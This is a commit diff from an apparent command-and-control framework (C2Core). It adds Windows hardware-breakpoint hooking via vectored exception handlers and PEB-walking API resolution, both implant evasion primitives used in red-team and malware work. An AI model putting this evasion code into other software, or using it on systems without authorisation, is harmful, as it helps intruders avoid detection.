admin/maxDcb-C2Core
1
0
Fork 0
mirror of https://github.com/maxDcb/C2Core synced 2026-06-08 15:48:01 +00:00
Code Issues Packages Projects Releases Wiki Activity

Opti messages & clean & hwbp

Browse Source
This commit is contained in:
kali
2025-04-05 13:22:52 -04:00
parent 8b168270a0
commit 1f54c69190
13 changed files with 1292 additions and 74 deletions
Download Patch File Download Diff File Expand all files Collapse all files
modules/ModuleCmd/C2Message.hpp
+10
View File
@@ -248,6 +248,10 @@ public:
{
m_data.assign(data);
};
void set_data(std::string&& data)
{
m_data = std::move(data);
}
void set_pid(int pid)
{
m_pid = pid;
@@ -425,6 +429,12 @@ public:
return m_c2Messages.back().get();
}
C2Message* add_c2messages(C2Message& c2Message)
{
m_c2Messages.emplace_back(std::make_unique<C2Message>(std::move(c2Message)));
return m_c2Messages.back().get();
}
const std::string& beaconhash() const
{
return m_beaconHash;
modules/ModuleCmd/CommonCommand.hpp
+18 -18
View File
@@ -33,8 +33,8 @@ const std::string ListenerPollCmd = "LISP";
const std::string LoadC2ModuleCmd = "LM";
const std::string UnloadC2ModuleCmd = "ULM";
const std::string Socks5Cmd = "SO5";
const std::string GetInfoCmd = "GI";
const std::string PatchMemoryCmd = "PM";
// const std::string GetInfoCmd = "GI";
// const std::string PatchMemoryCmd = "PM";
const std::string InitCmd = "IN";
const std::string RunCmd = "RU";
const std::string EndCmd = "EN";
@@ -74,8 +74,8 @@ class CommonCommands
m_commonCommands.push_back(LoadModuleInstruction);
m_commonCommands.push_back(UnloadModuleInstruction);
m_commonCommands.push_back(SocksInstruction);
m_commonCommands.push_back(GetInfoInstruction);
m_commonCommands.push_back(PatchMemoryInstruction);
// m_commonCommands.push_back(GetInfoInstruction);
// m_commonCommands.push_back(PatchMemoryInstruction);
}
int getNumberOfCommand()
@@ -107,10 +107,10 @@ class CommonCommands
return UnloadModuleInstruction;
else if(cmd==Socks5Cmd)
return SocksInstruction;
else if(cmd==GetInfoCmd)
return GetInfoInstruction;
else if(cmd==PatchMemoryCmd)
return PatchMemoryInstruction;
// else if(cmd==GetInfoCmd)
// return GetInfoInstruction;
// else if(cmd==PatchMemoryCmd)
// return PatchMemoryInstruction;
return "";
}
@@ -167,16 +167,16 @@ class CommonCommands
// output += " - socks start 1080 \n";
// output += " - socks stop \n";
// }
else if(cmd==GetInfoCmd)
{
output = "getInfo: \n";
output += "TODO\n";
}
else if(cmd==PatchMemoryCmd)
{
output = "patchMemory: \n";
output += "TODO\n";
}
// else if(cmd==GetInfoCmd)
// {
// output = "getInfo: \n";
// output += "TODO\n";
// }
// else if(cmd==PatchMemoryCmd)
// {
// output = "patchMemory: \n";
// output += "TODO\n";
// }
return output;
}
modules/ModuleCmd/hwbp.cpp
+189
View File
@@ -0,0 +1,189 @@
#include "hwbp.hpp"
#include "peb.hpp"
#if _WIN32
ULONG_PTR set_bits(
IN ULONG_PTR dw,
IN int lowBit,
IN int bits,
IN ULONG_PTR newValue)
{
ULONG_PTR mask = (1UL << bits) - 1UL;
dw = (dw & ~(mask << lowBit)) | (newValue << lowBit);
return dw;
}
BOOL enable_breakpoint(
OUT CONTEXT* ctx,
IN PVOID address,
IN int index)
{
switch (index)
{
case 0:
ctx->Dr0 = (ULONG_PTR)address;
break;
case 1:
ctx->Dr1 = (ULONG_PTR)address;
break;
case 2:
ctx->Dr2 = (ULONG_PTR)address;
break;
case 3:
ctx->Dr3 = (ULONG_PTR)address;
break;
default:
return FALSE;
}
ctx->Dr7 = set_bits(ctx->Dr7, 16, 16, 0);
ctx->Dr7 = set_bits(ctx->Dr7, (index * 2), 1, 1);
return TRUE;
}
typedef PVOID (WINAPI * RtlAddVectoredExceptionHandler_t)(
ULONG First,
exception_callback Handler
);
typedef PVOID (WINAPI * RtlRemoveVectoredExceptionHandler_t)(
PVOID Handle
);
VOID clear_breakpoint(
IN CONTEXT* ctx,
IN DWORD index)
{
// Clear the releveant hardware breakpoint
switch (index)
{
case 0:
ctx->Dr0 = 0;
break;
case 1:
ctx->Dr1 = 0;
break;
case 2:
ctx->Dr2 = 0;
break;
case 3:
ctx->Dr3 = 0;
break;
}
ctx->Dr7 = set_bits(ctx->Dr7, (index * 2), 1, 0);
ctx->Dr6 = 0;
ctx->EFlags = 0;
}
BOOL set_hwbp(
IN HANDLE hThread,
IN PVOID address,
IN exception_callback hwbp_handler,
IN UINT32 index,
OUT PHANDLE phHwBpHandler)
{
BOOL ret_val = FALSE;
NTSTATUS status = STATUS_UNSUCCESSFUL;
HANDLE hHwBpHandler = NULL;
CONTEXT threadCtx = { 0 };
memset(&threadCtx, 0, sizeof(threadCtx));
threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
RtlAddVectoredExceptionHandler_t RtlAddVectoredExceptionHandler = (RtlAddVectoredExceptionHandler_t)xGetProcAddress(xGetLibAddress((PCHAR)"ntdll", TRUE, NULL), (PCHAR)"RtlAddVectoredExceptionHandler", 0);
if (!RtlAddVectoredExceptionHandler)
{
goto Cleanup;
}
hHwBpHandler = RtlAddVectoredExceptionHandler(1, hwbp_handler);
if (!hHwBpHandler)
{
goto Cleanup;
}
status = GetThreadContext(hThread, &threadCtx);
if (!NT_SUCCESS(status))
{
goto Cleanup;
}
if (!enable_breakpoint(&threadCtx, address, index))
goto Cleanup;
status = SetThreadContext (hThread, &threadCtx);
if (!NT_SUCCESS(status))
{
goto Cleanup;
}
if (phHwBpHandler)
*phHwBpHandler = hHwBpHandler;
ret_val = TRUE;
Cleanup:
return ret_val;
}
VOID remove_hwbp_handler(
IN HANDLE hHwBpHandler)
{
if (!hHwBpHandler)
return;
RtlRemoveVectoredExceptionHandler_t RtlRemoveVectoredExceptionHandler = (RtlRemoveVectoredExceptionHandler_t)xGetProcAddress(xGetLibAddress((PCHAR)"ntdll", TRUE, NULL), (PCHAR)"RtlRemoveVectoredExceptionHandler", 0);
if (!RtlRemoveVectoredExceptionHandler)
{
return;
}
if (!RtlRemoveVectoredExceptionHandler(hHwBpHandler))
{
return;
}
}
VOID unset_hwbp(
IN HANDLE hThread,
IN UINT32 index)
{
NTSTATUS status = STATUS_UNSUCCESSFUL;
CONTEXT threadCtx = { 0 };
memset(&threadCtx, 0, sizeof(threadCtx));
threadCtx.ContextFlags = CONTEXT_ALL;
status = GetThreadContext(hThread, &threadCtx);
if (!NT_SUCCESS(status))
{
goto cleanup;
}
clear_breakpoint(&threadCtx, index);
status = SetThreadContext (hThread, &threadCtx);
if (!NT_SUCCESS(status))
{
goto cleanup;
}
cleanup:
return;
}
#endif
modules/ModuleCmd/hwbp.hpp
+72
View File
@@ -0,0 +1,72 @@
#pragma once
#if _WIN32
#include <windows.h>
#define STATUS_UNSUCCESSFUL 0xC0000001
// debug register go from 0 to 3
#define NT_DEVICE_IO_CONTROL_FILE_INDEX 0
#define CREATE_FILE_INDEX 1
// hwbp related macros, simplify x64/x86 support
typedef LONG (CALLBACK* exception_callback)(PEXCEPTION_POINTERS);
#ifdef _WIN64
#define EXCEPTION_CODE(e) (e->ExceptionRecord->ExceptionCode)
#define EXCEPTION_CURRENT_IP(e) ((PVOID)e->ContextRecord->Rip)
#define EXCEPTION_SET_IP( e, p ) e->ContextRecord->Rip = p
#define EXCEPTION_SET_RET( e, r ) e->ContextRecord->Rax = r
#define EXCEPTION_RESUME( e ) e->ContextRecord->EFlags = ( 1 << 16 )
#define EXCEPTION_GET_RET( e ) *( PVOID* ) ( e->ContextRecord->Rsp )
#define EXCEPTION_ADJ_STACK( e, i ) e->ContextRecord->Rsp += i
#define EXCEPTION_ARG_1( e ) ( e->ContextRecord->Rcx )
#define EXCEPTION_ARG_2( e ) ( e->ContextRecord->Rdx )
#else
#define EXCEPTION_CODE( e ) (e->ExceptionRecord->ExceptionCode)
#define EXCEPTION_CURRENT_IP( e ) ((PVOID)e->ContextRecord->Eip)
#define EXCEPTION_SET_IP( e, p ) e->ContextRecord->Eip = p
#define EXCEPTION_SET_RET( e, r ) e->ContextRecord->Eax = r
#define EXCEPTION_RESUME( e ) e->ContextRecord->EFlags = ( 1 << 16 )
#define EXCEPTION_GET_RET( e ) *( PVOID* ) ( e->ContextRecord->Esp )
#define EXCEPTION_ADJ_STACK( e, i ) e->ContextRecord->Esp += i
#define EXCEPTION_ARG_1( e ) *(PVOID*)(e->ContextRecord->Esp + sizeof(PVOID))
#define EXCEPTION_ARG_2( e ) *(PVOID*)(e->ContextRecord->Esp + sizeof(PVOID)*2)
#endif
ULONG_PTR set_bits(
ULONG_PTR dw,
int lowBit,
int bits,
ULONG_PTR newValue);
VOID clear_breakpoint(
IN CONTEXT* ctx,
IN DWORD index);
BOOL enable_breakpoint(
OUT CONTEXT* ctx,
IN PVOID address,
IN int index);
BOOL set_hwbp(
IN HANDLE hThread,
IN PVOID address,
IN exception_callback hwbp_handler,
IN UINT32 index,
OUT PHANDLE phHwBpHandler);
VOID remove_hwbp_handler(
IN HANDLE hHwBpHandler);
#endif
modules/ModuleCmd/include.hpp
+31 -27
View File
@@ -1,5 +1,9 @@
#pragma once
#include <winternl.h> // for UNICODE_STRING
#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
typedef struct _SW3_PEB_LDR_DATA {
@@ -35,28 +39,28 @@ typedef struct _PS_ATTRIBUTE
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, *PPS_ATTRIBUTE;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
// typedef struct _UNICODE_STRING
// {
// USHORT Length;
// USHORT MaximumLength;
// PWSTR Buffer;
// } UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
// typedef struct _OBJECT_ATTRIBUTES
// {
// ULONG Length;
// HANDLE RootDirectory;
// PUNICODE_STRING ObjectName;
// ULONG Attributes;
// PVOID SecurityDescriptor;
// PVOID SecurityQualityOfService;
// } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
// typedef struct _CLIENT_ID
// {
// HANDLE UniqueProcess;
// HANDLE UniqueThread;
// } CLIENT_ID, *PCLIENT_ID;
typedef struct _PS_ATTRIBUTE_LIST
{
@@ -344,13 +348,13 @@ HANDLE hSnapshot,
LPTHREADENTRY32 lpte
);
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
// typedef struct _IO_STATUS_BLOCK {
// union {
// NTSTATUS Status;
// PVOID Pointer;
// };
// ULONG_PTR Information;
// } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef
modules/ModuleCmd/peb.cpp
+266
View File
@@ -0,0 +1,266 @@
#include "peb.hpp"
#if _WIN32
// Relative Virtual Address to Virtual Address
#define RVA2VA(type, base, rva) (type)((ULONG_PTR) base + rva)
// find a DLL with a certain export, used by xGetProcAddress and FindExport
LPVOID find_reference(
IN LPVOID original_dll,
IN PCHAR dll_name,
IN PCHAR api_name)
{
PPEB2 peb = NULL;
PPEB_LDR_DATA2 ldr = NULL;
PLDR_DATA_TABLE_ENTRY2 dte = NULL;
LPVOID addr = NULL;
LPVOID base = NULL;
peb = (PPEB2)READ_MEMLOC(PEB_OFFSET);
ldr = (PPEB_LDR_DATA2)peb->Ldr;
// for each DLL loaded
for (dte=(PLDR_DATA_TABLE_ENTRY2)ldr->InLoadOrderModuleList.Flink;
dte->DllBase != NULL && addr == NULL;
dte=(PLDR_DATA_TABLE_ENTRY2)dte->InLoadOrderLinks.Flink)
{
base = dte->DllBase;
// if this is the dll with the reference, continue
if (base == original_dll) continue;
addr = xGetProcAddress(base, api_name, 0);
}
if (addr == NULL)
{
// we did not find the reference, use LoadLibrary
// DPRINT("Could not find %s, using LoadLibraryA", dll_name);
HMODULE hModule = LoadLibraryA(dll_name);
if (hModule != NULL)
{
// DPRINT("Calling GetProcAddress(%s, %s)", dll_name, api_name);
addr = GetProcAddress(hModule, api_name);
}
}
return addr;
}
// size_t StringLengthA(const char* str)
// {
// if (str == nullptr)
// return 0;
// size_t length = 0;
// while (str[length] != '\0')
// {
// ++length;
// }
// return length;
// }
// search for an export in a DLL
LPVOID xGetProcAddress(
IN LPVOID base,
IN PCHAR api_name,
IN DWORD ordinal)
{
PIMAGE_DOS_HEADER dos = NULL;
PIMAGE_NT_HEADERS nt = NULL;
PIMAGE_DATA_DIRECTORY dir = NULL;
PIMAGE_EXPORT_DIRECTORY exp = NULL;
LPVOID addr = NULL;
DWORD rva = 0;
DWORD cnt = 0;
PDWORD adr = NULL;
PDWORD sym = NULL;
PWORD ord = NULL;
PCHAR api = NULL;
CHAR dll_name[256] = { 0 };
CHAR new_api[256] = { 0 };
DWORD i = 0;
PCHAR p = NULL;
DWORD len = 0;
PVOID newbase = NULL;
if (base == NULL) return NULL;
dos = (PIMAGE_DOS_HEADER)base;
nt = RVA2VA(PIMAGE_NT_HEADERS, base, dos->e_lfanew);
dir = (PIMAGE_DATA_DIRECTORY)nt->OptionalHeader.DataDirectory;
rva = dir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
// if no export table, return NULL
if (rva == 0) return NULL;
exp = RVA2VA(PIMAGE_EXPORT_DIRECTORY, base, rva);
adr = RVA2VA(PDWORD,base, exp->AddressOfFunctions);
sym = RVA2VA(PDWORD,base, exp->AddressOfNames);
ord = RVA2VA(PWORD, base, exp->AddressOfNameOrdinals);
if (api_name != NULL)
{
// exported by name
cnt = exp->NumberOfNames;
// if no api names, return NULL
if (cnt == 0) return NULL;
do {
api = RVA2VA(PCHAR, base, sym[cnt-1]);
// check if the export name matches the API we are looking for
if (!_stricmp(api, api_name))
{
// get the address of the API
addr = RVA2VA(LPVOID, base, adr[ord[cnt-1]]);
}
} while (--cnt && addr == NULL);
}
else
{
// exported by ordinal
addr = RVA2VA(PVOID, base, adr[ordinal - exp->Base]);
}
// // is this a forward reference?
// if ((PBYTE)addr >= (PBYTE)exp &&
// (PBYTE)addr < (PBYTE)exp +
// dir[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)
// {
// //DPRINT("%s is forwarded to %s", api_name, (char*)addr);
// // copy DLL name to buffer
// p=(char*)addr;
// len=StringLengthA(p);
// for (i=0; p[i] != 0 && i < sizeof(dll_name) - 4; i++)
// {
// dll_name[i] = p[i];
// }
// for (i=len-1; i > 0; i--)
// {
// if(p[i] == '.') break;
// }
// dll_name[i+1] = 'd';
// dll_name[i+2] = 'l';
// dll_name[i+3] = 'l';
// dll_name[i+4] = 0;
// p += i + 1;
// // copy API name to buffer
// for(i = 0; p[i] != 0 && i < sizeof(new_api) - 1; i++)
// {
// new_api[i] = p[i];
// }
// new_api[i] = 0;
// newbase = handle_dependency(NULL, dll_name);
// if (base == newbase)
// {
// /*
// * the api set seems to resolve to itself...
// * lets just iterate over all loaded modules and
// * find a module with the export we are looking for
// */
// addr = find_reference(base, dll_name, new_api);
// }
// else
// {
// /*
// * we got a different DLL, call xGetProcAddress recursively
// */
// addr = xGetProcAddress(newbase, new_api, 0);
// }
// }
return addr;
}
// find a DLL by name, load it if not found
LPVOID xGetLibAddress(
IN PCHAR search,
IN BOOL load,
OUT PBOOL loaded)
{
PPEB2 peb = NULL;
PPEB_LDR_DATA2 ldr = NULL;
PIMAGE_DOS_HEADER dos = NULL;
PIMAGE_NT_HEADERS nt = NULL;
PLDR_DATA_TABLE_ENTRY2 dte = NULL;
PIMAGE_EXPORT_DIRECTORY exp = NULL;
LPVOID addr = NULL;
LPVOID base = NULL;
DWORD rva = 0;
PCHAR name = NULL;
CHAR dll_name[64] = { 0 };
DWORD i = 0;
int correct = -1;
if (loaded)
*loaded = FALSE;
for(i = 0; search[i] != 0 && i < 64; i++)
{
dll_name[i] = search[i];
}
dll_name[i] = 0;
// make sure the name ends with '.dll'
if (dll_name[i-4] != '.')
{
dll_name[i++] = '.';
dll_name[i++] = 'd';
dll_name[i++] = 'l';
dll_name[i++] = 'l';
dll_name[i++] = 0;
}
peb = (PPEB2)READ_MEMLOC(PEB_OFFSET);
ldr = (PPEB_LDR_DATA2)peb->Ldr;
// for each DLL loaded
for (dte=(PLDR_DATA_TABLE_ENTRY2)ldr->InLoadOrderModuleList.Flink;
correct != 0 && dte->DllBase != NULL && addr == NULL;
dte=(PLDR_DATA_TABLE_ENTRY2)dte->InLoadOrderLinks.Flink)
{
base = dte->DllBase;
dos = (PIMAGE_DOS_HEADER)base;
nt = RVA2VA(PIMAGE_NT_HEADERS, base, dos->e_lfanew);
rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (rva == 0) continue;
exp = RVA2VA(PIMAGE_EXPORT_DIRECTORY, base, rva);
name = RVA2VA(PCHAR, base, exp->Name);
correct = _stricmp(dll_name, name);
if (correct == 0) {
addr = base;
}
}
//DPRINT("Address of %s: %p", dll_name, addr);
// if the DLL was not found, load it
if (!addr && load)
{
addr = LoadLibraryA(dll_name);
// DPRINT("Dll not found. Loaded %s via LoadLibrary at 0x%p", dll_name, addr);
if (addr && loaded)
*loaded = TRUE;
}
return addr;
}
#endif
modules/ModuleCmd/peb.hpp
+663
View File
@@ -0,0 +1,663 @@
#pragma once
#if _WIN32
#include <windows.h>
#include <winternl.h>
#define intAlloc(size) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size)
#define intFree(addr) HeapFree(GetProcessHeap(), 0, addr)
#define RTL_UPCASE(wch) ( \
((wch) < 'a' ? \
(wch) \
: \
((wch) <= 'z' ? \
(wch) - ('a'-'A') \
: \
((WCHAR)(wch)) \
) \
) \
)
#define RTL_DOWNCASE(wch) ( \
((wch) < 'A' ? \
(wch) \
: \
((wch) <= 'Z' ? \
(wch) + ('a'-'A') \
: \
((WCHAR)(wch)) \
) \
) \
)
#define LDR_HASH_TABLE_ENTRIES 32
#define GDI_HANDLE_BUFFER_SIZE32 34
#define GDI_HANDLE_BUFFER_SIZE64 60
#ifdef _WIN64
#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64
#endif
#ifndef _WIN64
#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32
#endif
typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE];
typedef struct _RTL_BALANCED_NODE
{
union
{
struct _RTL_BALANCED_NODE *Children[2];
struct
{
struct _RTL_BALANCED_NODE *Left;
struct _RTL_BALANCED_NODE *Right;
};
};
union
{
UCHAR Red : 1;
UCHAR Balance : 2;
ULONG_PTR ParentValue;
};
} RTL_BALANCED_NODE, *PRTL_BALANCED_NODE;
typedef struct _RTL_RB_TREE {
PRTL_BALANCED_NODE Root;
PRTL_BALANCED_NODE Min;
} RTL_RB_TREE, * PRTL_RB_TREE;
typedef struct _API_SET_NAMESPACE
{
ULONG Version;
ULONG Size;
ULONG Flags;
ULONG Count;
ULONG EntryOffset;
ULONG HashOffset;
ULONG HashFactor;
} API_SET_NAMESPACE, *PAPI_SET_NAMESPACE;
//
// API set schema version 6.
//
typedef struct _API_SET_NAMESPACE_V6 {
ULONG Version;
ULONG Size;
ULONG Flags;
ULONG Count;
ULONG EntryOffset; // API_SET_NAMESPACE_ENTRY_V6
ULONG HashOffset; // API_SET_NAMESPACE_HASH_ENTRY_V6
ULONG HashFactor;
} API_SET_NAMESPACE_V6, *PAPI_SET_NAMESPACE_V6;
typedef struct _API_SET_NAMESPACE_ENTRY_V6 {
ULONG Flags;
ULONG NameOffset;
ULONG NameLength;
ULONG HashedLength;
ULONG ValueOffset;
ULONG ValueCount;
} API_SET_NAMESPACE_ENTRY_V6, *PAPI_SET_NAMESPACE_ENTRY_V6;
typedef struct _API_SET_HASH_ENTRY_V6 {
ULONG Hash;
ULONG Index;
} API_SET_HASH_ENTRY_V6, *PAPI_SET_HASH_ENTRY_V6;
typedef struct _API_SET_VALUE_ENTRY_V6 {
ULONG Flags;
ULONG NameOffset;
ULONG NameLength;
ULONG ValueOffset;
ULONG ValueLength;
} API_SET_VALUE_ENTRY_V6, *PAPI_SET_VALUE_ENTRY_V6;
typedef const API_SET_VALUE_ENTRY_V6 *PCAPI_SET_VALUE_ENTRY_V6;
typedef const API_SET_HASH_ENTRY_V6 *PCAPI_SET_HASH_ENTRY_V6;
typedef const API_SET_NAMESPACE_ENTRY_V6 *PCAPI_SET_NAMESPACE_ENTRY_V6;
typedef const API_SET_NAMESPACE_V6 *PCAPI_SET_NAMESPACE_V6;
//
// API set schema version 4.
//
typedef struct _API_SET_VALUE_ENTRY_V4 {
ULONG Flags; // 0x00
ULONG NameOffset; // 0x04
ULONG NameLength; // 0x08
ULONG ValueOffset; // 0x0C
ULONG ValueLength; // 0x10
} API_SET_VALUE_ENTRY_V4, *PAPI_SET_VALUE_ENTRY_V4;
typedef struct _API_SET_VALUE_ARRAY_V4 {
ULONG Flags; // 0x00
ULONG Count; // 0x04
API_SET_VALUE_ENTRY_V4 Array[ANYSIZE_ARRAY];
} API_SET_VALUE_ARRAY_V4, *PAPI_SET_VALUE_ARRAY_V4;
typedef struct _API_SET_NAMESPACE_ENTRY_V4 {
ULONG Flags;
ULONG NameOffset;
ULONG NameLength;
ULONG AliasOffset;
ULONG AliasLength;
ULONG DataOffset; // API_SET_VALUE_ARRAY_V4
} API_SET_NAMESPACE_ENTRY_V4, *PAPI_SET_NAMESPACE_ENTRY_V4;
typedef struct _API_SET_NAMESPACE_ARRAY_V4 {
ULONG Version; // 0x00
ULONG Size; // 0x04
ULONG Flags; // 0x08
ULONG Count; // 0x0C
API_SET_NAMESPACE_ENTRY_V4 Array[ANYSIZE_ARRAY];
} API_SET_NAMESPACE_ARRAY_V4, *PAPI_SET_NAMESPACE_ARRAY_V4;
typedef const API_SET_VALUE_ENTRY_V4 *PCAPI_SET_VALUE_ENTRY_V4;
typedef const API_SET_VALUE_ARRAY_V4 *PCAPI_SET_VALUE_ARRAY_V4;
typedef const API_SET_NAMESPACE_ENTRY_V4 *PCAPI_SET_NAMESPACE_ENTRY_V4;
typedef const API_SET_NAMESPACE_ARRAY_V4 *PCAPI_SET_NAMESPACE_ARRAY_V4;
#define API_SET_SCHEMA_FLAGS_SEALED 0x00000001
#define API_SET_SCHEMA_FLAGS_HOST_EXTENSION 0x00000002
#define API_SET_SCHEMA_ENTRY_FLAGS_SEALED 0x00000001
#define API_SET_SCHEMA_ENTRY_FLAGS_EXTENSION 0x00000002
//
// API set schema version 3.
//
typedef struct _API_SET_VALUE_ENTRY_V3 {
ULONG NameOffset;
ULONG NameLength;
ULONG ValueOffset;
ULONG ValueLength;
} API_SET_VALUE_ENTRY_V3, *PAPI_SET_VALUE_ENTRY_V3;
typedef struct _API_SET_VALUE_ARRAY_V3 {
ULONG Count;
API_SET_VALUE_ENTRY_V3 Array[ANYSIZE_ARRAY];
} API_SET_VALUE_ARRAY_V3, *PAPI_SET_VALUE_ARRAY_V3;
typedef struct _API_SET_NAMESPACE_ENTRY_V3 {
ULONG NameOffset;
ULONG NameLength;
ULONG DataOffset; // API_SET_VALUE_ARRAY_V3
} API_SET_NAMESPACE_ENTRY_V3, *PAPI_SET_NAMESPACE_ENTRY_V3;
typedef struct _API_SET_NAMESPACE_ARRAY_V3 {
ULONG Version;
ULONG Count;
API_SET_NAMESPACE_ENTRY_V3 Array[ANYSIZE_ARRAY];
} API_SET_NAMESPACE_ARRAY_V3, *PAPI_SET_NAMESPACE_ARRAY_V3;
typedef const API_SET_VALUE_ENTRY_V3 *PCAPI_SET_VALUE_ENTRY_V3;
typedef const API_SET_VALUE_ARRAY_V3 *PCAPI_SET_VALUE_ARRAY_V3;
typedef const API_SET_NAMESPACE_ENTRY_V3 *PCAPI_SET_NAMESPACE_ENTRY_V3;
typedef const API_SET_NAMESPACE_ARRAY_V3 *PCAPI_SET_NAMESPACE_ARRAY_V3;
//
// Support for downlevel API set schema version 2.
//
typedef struct _API_SET_VALUE_ENTRY_V2 {
ULONG NameOffset;
ULONG NameLength;
ULONG ValueOffset;
ULONG ValueLength;
} API_SET_VALUE_ENTRY_V2, *PAPI_SET_VALUE_ENTRY_V2;
typedef struct _API_SET_VALUE_ARRAY_V2 {
ULONG Count;
API_SET_VALUE_ENTRY_V2 Array[ANYSIZE_ARRAY];
} API_SET_VALUE_ARRAY_V2, *PAPI_SET_VALUE_ARRAY_V2;
typedef struct _API_SET_NAMESPACE_ENTRY_V2 {
ULONG NameOffset;
ULONG NameLength;
ULONG DataOffset; // API_SET_VALUE_ARRAY_V2
} API_SET_NAMESPACE_ENTRY_V2, *PAPI_SET_NAMESPACE_ENTRY_V2;
typedef struct _API_SET_NAMESPACE_ARRAY_V2 {
ULONG Version;
ULONG Count;
API_SET_NAMESPACE_ENTRY_V2 Array[ANYSIZE_ARRAY];
} API_SET_NAMESPACE_ARRAY_V2, *PAPI_SET_NAMESPACE_ARRAY_V2;
typedef const API_SET_VALUE_ENTRY_V2 *PCAPI_SET_VALUE_ENTRY_V2;
typedef const API_SET_VALUE_ARRAY_V2 *PCAPI_SET_VALUE_ARRAY_V2;
typedef const API_SET_NAMESPACE_ENTRY_V2 *PCAPI_SET_NAMESPACE_ENTRY_V2;
typedef const API_SET_NAMESPACE_ARRAY_V2 *PCAPI_SET_NAMESPACE_ARRAY_V2;
typedef struct _PEB_LDR_DATA2
{
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
#if (NTDDI_VERSION >= NTDDI_WIN7)
UCHAR ShutdownInProgress;
PVOID ShutdownThreadId;
#endif
} PEB_LDR_DATA2, *PPEB_LDR_DATA2;
typedef enum _LDR_DLL_LOAD_REASON
{
LoadReasonStaticDependency,
LoadReasonStaticForwarderDependency,
LoadReasonDynamicForwarderDependency,
LoadReasonDelayloadDependency,
LoadReasonDynamicLoad,
LoadReasonAsImageLoad,
LoadReasonAsDataLoad,
LoadReasonEnclavePrimary, // REDSTONE3
LoadReasonEnclaveDependency,
LoadReasonUnknown = -1
} LDR_DLL_LOAD_REASON, *PLDR_DLL_LOAD_REASON;
typedef enum _LDR_DDAG_STATE
{
LdrModulesMerged = -5,
LdrModulesInitError = -4,
LdrModulesSnapError = -3,
LdrModulesUnloaded = -2,
LdrModulesUnloading = -1,
LdrModulesPlaceHolder = 0,
LdrModulesMapping = 1,
LdrModulesMapped = 2,
LdrModulesWaitingForDependencies = 3,
LdrModulesSnapping = 4,
LdrModulesSnapped = 5,
LdrModulesCondensed = 6,
LdrModulesReadyToInit = 7,
LdrModulesInitializing = 8,
LdrModulesReadyToRun = 9
} LDR_DDAG_STATE;
typedef struct _LDRP_CSLIST
{
PSINGLE_LIST_ENTRY Tail;
} LDRP_CSLIST, *PLDRP_CSLIST;
typedef struct _LDR_SERVICE_TAG_RECORD
{
struct _LDR_SERVICE_TAG_RECORD *Next;
ULONG ServiceTag;
} LDR_SERVICE_TAG_RECORD, *PLDR_SERVICE_TAG_RECORD;
typedef struct _LDR_DDAG_NODE
{
LIST_ENTRY Modules;
PLDR_SERVICE_TAG_RECORD ServiceTagList;
ULONG LoadCount;
ULONG LoadWhileUnloadingCount;
ULONG LowestLink;
union
{
LDRP_CSLIST Dependencies;
SINGLE_LIST_ENTRY RemovalLink;
};
LDRP_CSLIST IncomingDependencies;
LDR_DDAG_STATE State;
SINGLE_LIST_ENTRY CondenseLink;
ULONG PreorderNumber;
} LDR_DDAG_NODE, *PLDR_DDAG_NODE;
typedef BOOLEAN (NTAPI *PLDR_INIT_ROUTINE)(
_In_ PVOID DllHandle,
_In_ ULONG Reason,
_In_opt_ PVOID Context
);
typedef enum _LDR_HOT_PATCH_STATE
{
LdrHotPatchBaseImage = 0,
LdrHotPatchNotApplied = 1,
LdrHotPatchAppliedReverse = 2,
LdrHotPatchAppliedForward = 3,
LdrHotPatchFailedToPatch = 4,
LdrHotPatchStateMax = 5
} LDR_HOT_PATCH_STATE;
typedef struct _LDR_DATA_TABLE_ENTRY2
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
union
{
LIST_ENTRY InInitializationOrderLinks;
LIST_ENTRY InProgressLinks;
};
PVOID DllBase;
PLDR_INIT_ROUTINE EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
union
{
UCHAR FlagGroup[4];
ULONG Flags;
struct
{
ULONG PackagedBinary : 1;
ULONG MarkedForRemoval : 1;
ULONG ImageDll : 1;
ULONG LoadNotificationsSent : 1;
ULONG TelemetryEntryProcessed : 1;
ULONG ProcessStaticImport : 1;
ULONG InLegacyLists : 1;
ULONG InIndexes : 1;
ULONG ShimDll : 1;
ULONG InExceptionTable : 1;
ULONG ReservedFlags1 : 2;
ULONG LoadInProgress : 1;
ULONG LoadConfigProcessed : 1;
ULONG EntryProcessed : 1;
ULONG ProtectDelayLoad : 1;
ULONG ReservedFlags3 : 2;
ULONG DontCallForThreads : 1;
ULONG ProcessAttachCalled : 1;
ULONG ProcessAttachFailed : 1;
ULONG CorDeferredValidate : 1;
ULONG CorImage : 1;
ULONG DontRelocate : 1;
ULONG CorILOnly : 1;
ULONG ChpeImage : 1;
ULONG ReservedFlags5 : 2;
